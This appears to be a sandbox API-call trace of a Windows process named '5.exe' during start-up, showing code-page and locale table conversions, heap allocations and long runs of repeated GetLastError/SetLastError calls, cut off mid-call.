lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x34\x69\xfe\xa8\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0052.104] GetLastError () returned 0x5 [0052.104] SetLastError (dwErrCode=0x5) [0052.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.104] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ틮ꢝ뺺CĀ") returned 256 [0052.105] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ틮ꢝ뺺CĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0052.105] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ틮ꢝ뺺CĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0052.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x34\x69\xfe\xa8\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0052.105] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x5027b0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\5.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\5.exe")) returned 0x56 [0052.105] GetLastError () returned 0x0 [0052.105] SetLastError (dwErrCode=0x0) [0052.105] GetLastError () returned 0x0 [0052.105] SetLastError (dwErrCode=0x0) [0052.105] GetLastError () returned 0x0 [0052.105] SetLastError (dwErrCode=0x0) [0052.105] GetLastError () returned 0x0 [0052.105] SetLastError (dwErrCode=0x0) [0052.105] GetLastError () returned 0x0 [0052.105] SetLastError (dwErrCode=0x0) [0052.105] GetLastError () returned 0x0 [0052.105] SetLastError (dwErrCode=0x0) [0052.105] GetLastError () returned 0x0 [0052.105] SetLastError (dwErrCode=0x0) [0052.105] GetLastError () returned 0x0 [0052.105] SetLastError (dwErrCode=0x0) [0052.105] GetLastError () returned 0x0 [0052.105] SetLastError (dwErrCode=0x0) [0052.105] GetLastError () returned 0x0 [0052.106] SetLastError (dwErrCode=0x0) [0052.106] GetLastError () returned 0x0 [0052.106] SetLastError (dwErrCode=0x0) [0052.106] GetLastError () returned 0x0 [0052.106] SetLastError (dwErrCode=0x0) [0052.106] GetLastError () returned 0x0 [0052.106] SetLastError (dwErrCode=0x0) [0052.106] GetLastError () returned 0x0 [0052.106] SetLastError (dwErrCode=0x0) [0052.106] GetLastError () returned 0x0 [0052.106] SetLastError (dwErrCode=0x0) [0052.106] GetLastError () returned 0x0 [0052.106] SetLastError (dwErrCode=0x0) [0052.106] GetLastError () returned 0x0 [0052.106] SetLastError (dwErrCode=0x0) [0052.106] GetLastError () returned 0x0 [0052.106] SetLastError (dwErrCode=0x0) [0052.106] GetLastError () returned 0x0 [0052.106] SetLastError (dwErrCode=0x0) [0052.106] GetLastError () returned 0x0 [0052.106] SetLastError (dwErrCode=0x0) [0052.106] GetLastError () returned 0x0 [0052.106] SetLastError (dwErrCode=0x0) [0052.107] GetLastError () returned 0x0 [0052.107] SetLastError (dwErrCode=0x0) [0052.107] GetLastError () returned 0x0 [0052.107] SetLastError (dwErrCode=0x0) [0052.107] GetLastError () returned 0x0 [0052.107] SetLastError (dwErrCode=0x0) [0052.107] GetLastError () returned 0x0 [0052.107] SetLastError (dwErrCode=0x0) [0052.107] GetLastError () returned 0x0 [0052.107] SetLastError (dwErrCode=0x0) [0052.107] GetLastError () returned 0x0 [0052.107] SetLastError (dwErrCode=0x0) [0052.107] GetLastError () returned 0x0 [0052.107] SetLastError (dwErrCode=0x0) [0052.107] GetLastError () returned 0x0 [0052.107] SetLastError (dwErrCode=0x0) [0052.107] GetLastError () returned 0x0 [0052.107] SetLastError (dwErrCode=0x0) [0052.107] GetLastError () returned 0x0 [0052.107] SetLastError (dwErrCode=0x0) [0052.107] GetLastError () returned 0x0 [0052.107] SetLastError (dwErrCode=0x0) [0052.107] GetLastError () returned 0x0 [0052.107] SetLastError (dwErrCode=0x0) [0052.107] GetLastError () returned 0x0 [0052.108] SetLastError (dwErrCode=0x0) [0052.108] GetLastError () returned 0x0 [0052.108] SetLastError (dwErrCode=0x0) [0052.108] GetLastError () returned 0x0 [0052.108] SetLastError (dwErrCode=0x0) [0052.108] GetLastError () returned 0x0 [0052.108] SetLastError (dwErrCode=0x0) [0052.108] GetLastError () returned 0x0 [0052.108] SetLastError (dwErrCode=0x0) [0052.108] GetLastError () returned 0x0 [0052.108] SetLastError (dwErrCode=0x0) [0052.108] GetLastError () returned 0x0 [0052.108] SetLastError (dwErrCode=0x0) [0052.108] GetLastError () returned 0x0 [0052.108] SetLastError (dwErrCode=0x0) [0052.108] GetLastError () returned 0x0 [0052.108] SetLastError (dwErrCode=0x0) [0052.108] GetLastError () returned 0x0 [0052.108] SetLastError (dwErrCode=0x0) [0052.108] GetLastError () returned 0x0 [0052.108] SetLastError (dwErrCode=0x0) [0052.108] GetLastError () returned 0x0 [0052.108] SetLastError (dwErrCode=0x0) [0052.108] GetLastError () returned 0x0 [0052.108] SetLastError (dwErrCode=0x0) [0052.109] GetLastError () returned 0x0 [0052.109] SetLastError (dwErrCode=0x0) [0052.109] GetLastError () returned 0x0 [0052.109] SetLastError (dwErrCode=0x0) [0052.110] GetLastError () returned 0x0 [0052.110] SetLastError (dwErrCode=0x0) [0052.110] GetLastError () returned 0x0 [0052.110] SetLastError (dwErrCode=0x0) [0052.110] GetLastError () returned 0x0 [0052.110] SetLastError (dwErrCode=0x0) [0052.110] GetLastError () returned 0x0 [0052.110] SetLastError (dwErrCode=0x0) [0052.110] GetLastError () returned 0x0 [0052.110] SetLastError (dwErrCode=0x0) [0052.110] GetLastError () returned 0x0 [0052.110] SetLastError (dwErrCode=0x0) [0052.110] GetLastError () returned 0x0 [0052.110] SetLastError (dwErrCode=0x0) [0052.110] GetLastError () returned 0x0 [0052.110] SetLastError (dwErrCode=0x0) [0052.110] GetLastError () returned 0x0 [0052.110] SetLastError (dwErrCode=0x0) [0052.110] GetLastError () returned 0x0 [0052.110] SetLastError (dwErrCode=0x0) [0052.110] GetLastError () returned 0x0 [0052.110] SetLastError (dwErrCode=0x0) [0052.110] GetLastError () returned 0x0 [0052.111] SetLastError (dwErrCode=0x0) [0052.111] GetLastError () returned 0x0 [0052.111] SetLastError (dwErrCode=0x0) [0052.111] GetLastError () returned 0x0 [0052.111] SetLastError (dwErrCode=0x0) [0052.111] GetLastError () returned 0x0 [0052.111] SetLastError (dwErrCode=0x0) [0052.111] GetLastError () returned 0x0 [0052.111] SetLastError (dwErrCode=0x0) [0052.111] GetLastError () returned 0x0 [0052.111] SetLastError (dwErrCode=0x0) [0052.111] GetLastError () returned 0x0 [0052.111] SetLastError (dwErrCode=0x0) [0052.111] GetLastError () returned 0x0 [0052.111] SetLastError (dwErrCode=0x0) [0052.111] GetLastError () returned 0x0 [0052.111] SetLastError (dwErrCode=0x0) [0052.111] GetLastError () returned 0x0 [0052.111] SetLastError (dwErrCode=0x0) [0052.111] GetLastError () returned 0x0 [0052.111] SetLastError (dwErrCode=0x0) [0052.111] GetLastError () returned 0x0 [0052.111] SetLastError (dwErrCode=0x0) [0052.111] GetLastError () returned 0x0 [0052.111] SetLastError (dwErrCode=0x0) [0052.111] GetLastError () returned 0x0 [0052.112] SetLastError (dwErrCode=0x0) [0052.112] GetLastError () returned 0x0 [0052.112] SetLastError (dwErrCode=0x0) [0052.112] GetLastError () returned 0x0 [0052.112] SetLastError (dwErrCode=0x0) [0052.112] GetLastError () returned 0x0 [0052.112] SetLastError (dwErrCode=0x0) [0052.112] GetLastError () returned 0x0 [0052.112] SetLastError (dwErrCode=0x0) [0052.112] GetLastError () returned 0x0 [0052.112] SetLastError (dwErrCode=0x0) [0052.112] GetLastError () returned 0x0 [0052.112] SetLastError (dwErrCode=0x0) [0052.112] GetLastError () returned 0x0 [0052.112] SetLastError (dwErrCode=0x0) [0052.112] GetLastError () returned 0x0 [0052.112] SetLastError (dwErrCode=0x0) [0052.112] GetLastError () returned 0x0 [0052.112] SetLastError (dwErrCode=0x0) [0052.112] GetLastError () returned 0x0 [0052.112] SetLastError (dwErrCode=0x0) [0052.112] GetLastError () returned 0x0 [0052.112] SetLastError (dwErrCode=0x0) [0052.112] GetLastError () returned 0x0 [0052.113] SetLastError (dwErrCode=0x0) [0052.113] GetLastError () returned 0x0 [0052.113] SetLastError (dwErrCode=0x0) [0052.113] GetLastError () returned 0x0 [0052.113] SetLastError (dwErrCode=0x0) [0052.113] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x5f) returned 0x251990 [0052.113] GetLastError () returned 0x0 [0052.113] SetLastError (dwErrCode=0x0) [0052.113] GetLastError () returned 0x0 [0052.113] SetLastError (dwErrCode=0x0) [0052.113] GetLastError () returned 0x0 [0052.113] SetLastError (dwErrCode=0x0) [0052.113] GetLastError () returned 0x0 [0052.113] SetLastError (dwErrCode=0x0) [0052.113] GetLastError () returned 0x0 [0052.113] SetLastError (dwErrCode=0x0) [0052.113] GetLastError () returned 0x0 [0052.113] SetLastError (dwErrCode=0x0) [0052.113] GetLastError () returned 0x0 [0052.113] SetLastError (dwErrCode=0x0) [0052.113] GetLastError () returned 0x0 [0052.113] SetLastError (dwErrCode=0x0) [0052.113] GetLastError () returned 0x0 [0052.113] SetLastError (dwErrCode=0x0) [0052.113] GetLastError () returned 0x0 [0052.113] SetLastError (dwErrCode=0x0) [0052.114] GetLastError () returned 0x0 [0052.114] SetLastError (dwErrCode=0x0) [0052.114] GetLastError () returned 0x0 [0052.114] SetLastError (dwErrCode=0x0) [0052.114] GetLastError () returned 0x0 [0052.114] SetLastError (dwErrCode=0x0) [0052.114] GetLastError () returned 0x0 [0052.114] SetLastError (dwErrCode=0x0) [0052.114] GetLastError () returned 0x0 [0052.114] SetLastError (dwErrCode=0x0) [0052.114] GetLastError () returned 0x0 [0052.114] SetLastError (dwErrCode=0x0) [0052.114] GetLastError () returned 0x0 [0052.114] SetLastError (dwErrCode=0x0) [0052.114] GetLastError () returned 0x0 [0052.114] SetLastError (dwErrCode=0x0) [0052.114] GetLastError () returned 0x0 [0052.114] SetLastError (dwErrCode=0x0) [0052.114] GetLastError () returned 0x0 [0052.114] SetLastError (dwErrCode=0x0) [0052.114] GetLastError () returned 0x0 [0052.114] SetLastError (dwErrCode=0x0) [0052.114] GetLastError () returned 0x0 [0052.115] SetLastError (dwErrCode=0x0) [0052.115] GetLastError () returned 0x0 [0052.115] SetLastError (dwErrCode=0x0) [0052.115] GetLastError () returned 0x0 [0052.115] SetLastError (dwErrCode=0x0) [0052.115] GetLastError () returned 0x0 [0052.115] SetLastError (dwErrCode=0x0) [0052.115] GetLastError () returned 0x0 [0052.115] SetLastError (dwErrCode=0x0) [0052.115] GetLastError () returned 0x0 [0052.115] SetLastError (dwErrCode=0x0) [0052.115] GetLastError () returned 0x0 [0052.115] SetLastError (dwErrCode=0x0) [0052.115] GetLastError () returned 0x0 [0052.115] SetLastError (dwErrCode=0x0) [0052.115] GetLastError () returned 0x0 [0052.115] SetLastError (dwErrCode=0x0) [0052.115] GetLastError () returned 0x0 [0052.115] SetLastError (dwErrCode=0x0) [0052.115] GetLastError () returned 0x0 [0052.115] SetLastError (dwErrCode=0x0) [0052.115] GetLastError () returned 0x0 [0052.115] SetLastError (dwErrCode=0x0) [0052.115] GetLastError () returned 0x0 [0052.116] SetLastError (dwErrCode=0x0) [0052.116] GetLastError () returned 0x0 [0052.116] SetLastError (dwErrCode=0x0) [0052.116] GetLastError () returned 0x0 [0052.116] SetLastError (dwErrCode=0x0) [0052.116] GetLastError () returned 0x0 [0052.116] SetLastError (dwErrCode=0x0) [0052.116] GetLastError () returned 0x0 [0052.116] SetLastError (dwErrCode=0x0) [0052.116] GetLastError () returned 0x0 [0052.116] SetLastError (dwErrCode=0x0) [0052.116] GetLastError () returned 0x0 [0052.116] SetLastError (dwErrCode=0x0) [0052.116] GetLastError () returned 0x0 [0052.116] SetLastError (dwErrCode=0x0) [0052.116] GetLastError () returned 0x0 [0052.116] SetLastError (dwErrCode=0x0) [0052.116] GetLastError () returned 0x0 [0052.116] SetLastError (dwErrCode=0x0) [0052.116] GetLastError () returned 0x0 [0052.116] SetLastError (dwErrCode=0x0) [0052.116] GetLastError () returned 0x0 [0052.116] SetLastError (dwErrCode=0x0) [0052.116] GetLastError () returned 0x0 [0052.116] SetLastError (dwErrCode=0x0) [0052.116] GetLastError () returned 0x0 [0052.117] SetLastError (dwErrCode=0x0) [0052.117] GetLastError () returned 0x0 [0052.117] SetLastError (dwErrCode=0x0) [0052.117] GetLastError () returned 0x0 [0052.117] SetLastError (dwErrCode=0x0) [0052.117] GetLastError () returned 0x0 [0052.117] SetLastError (dwErrCode=0x0) [0052.117] GetLastError () returned 0x0 [0052.117] SetLastError (dwErrCode=0x0) [0052.117] GetLastError () returned 0x0 [0052.117] SetLastError (dwErrCode=0x0) [0052.117] GetLastError () returned 0x0 [0052.117] SetLastError (dwErrCode=0x0) [0052.117] GetLastError () returned 0x0 [0052.117] SetLastError (dwErrCode=0x0) [0052.117] GetLastError () returned 0x0 [0052.117] SetLastError (dwErrCode=0x0) [0052.117] GetLastError () returned 0x0 [0052.117] SetLastError (dwErrCode=0x0) [0052.117] GetLastError () returned 0x0 [0052.117] SetLastError (dwErrCode=0x0) [0052.117] GetLastError () returned 0x0 [0052.117] SetLastError (dwErrCode=0x0) [0052.117] GetLastError () returned 0x0 [0052.117] SetLastError (dwErrCode=0x0) [0052.118] GetLastError () returned 0x0 [0052.118] SetLastError (dwErrCode=0x0) [0052.118] GetLastError () returned 0x0 [0052.118] SetLastError (dwErrCode=0x0) [0052.118] GetLastError () returned 0x0 [0052.118] SetLastError (dwErrCode=0x0) [0052.118] GetLastError () returned 0x0 [0052.118] SetLastError (dwErrCode=0x0) [0052.118] GetLastError () returned 0x0 [0052.118] SetLastError (dwErrCode=0x0) [0052.118] GetLastError () returned 0x0 [0052.118] SetLastError (dwErrCode=0x0) [0052.118] GetLastError () returned 0x0 [0052.118] SetLastError (dwErrCode=0x0) [0052.118] GetLastError () returned 0x0 [0052.118] SetLastError (dwErrCode=0x0) [0052.118] GetLastError () returned 0x0 [0052.118] SetLastError (dwErrCode=0x0) [0052.118] GetLastError () returned 0x0 [0052.118] SetLastError (dwErrCode=0x0) [0052.118] GetLastError () returned 0x0 [0052.118] SetLastError (dwErrCode=0x0) [0052.118] GetLastError () returned 0x0 [0052.118] SetLastError (dwErrCode=0x0) [0052.118] GetLastError () returned 0x0 [0052.119] SetLastError (dwErrCode=0x0) [0052.119] GetLastError () returned 0x0 [0052.119] SetLastError (dwErrCode=0x0) [0052.119] GetLastError () returned 0x0 [0052.119] SetLastError (dwErrCode=0x0) [0052.119] GetLastError () returned 0x0 [0052.119] SetLastError (dwErrCode=0x0) [0052.119] GetLastError () returned 0x0 [0052.119] SetLastError (dwErrCode=0x0) [0052.119] GetLastError () returned 0x0 [0052.119] SetLastError (dwErrCode=0x0) [0052.119] GetLastError () returned 0x0 [0052.119] SetLastError (dwErrCode=0x0) [0052.119] GetLastError () returned 0x0 [0052.119] SetLastError (dwErrCode=0x0) [0052.119] GetLastError () returned 0x0 [0052.119] SetLastError (dwErrCode=0x0) [0052.119] GetLastError () returned 0x0 [0052.119] SetLastError (dwErrCode=0x0) [0052.119] GetLastError () returned 0x0 [0052.119] SetLastError (dwErrCode=0x0) [0052.119] GetLastError () returned 0x0 [0052.119] SetLastError (dwErrCode=0x0) [0052.119] GetLastError () returned 0x0 [0052.120] SetLastError (dwErrCode=0x0) [0052.120] GetLastError () returned 0x0 [0052.120] SetLastError (dwErrCode=0x0) [0052.120] GetLastError () returned 0x0 [0052.120] SetLastError (dwErrCode=0x0) [0052.120] GetLastError () returned 0x0 [0052.120] SetLastError (dwErrCode=0x0) [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x98) returned 0x2519f8 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, 